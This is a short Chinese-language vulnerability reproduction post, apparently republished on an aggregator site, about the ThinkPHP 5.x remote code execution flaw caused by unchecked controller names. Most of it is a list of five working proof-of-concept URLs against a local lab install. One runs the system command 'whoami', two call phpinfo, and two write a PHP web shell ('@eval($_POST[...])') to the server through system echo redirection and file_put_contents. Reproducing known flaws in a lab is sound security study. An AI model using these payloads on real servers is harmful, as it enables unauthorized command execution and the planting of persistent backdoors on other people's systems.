ThinkPHP 5.x远程命令执行漏洞
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP 5.x远程命令执行漏洞相关的知识,希望对你有一定的参考价值。
漏洞原因
由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行
漏洞影响版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
漏洞复现
搭建漏洞环境
官网下载Thinkphp 5.0.22,下载地址
使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问即可
POC1
http://localhost:9091/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
POC2&POC3
http://localhost:9091/public/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://localhost:9091/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
POC4&POC5
http://localhost:9091/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[cmd]);?^%3E%20%3Eshell.php
http://localhost:9091/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>
以上是关于ThinkPHP 5.x远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章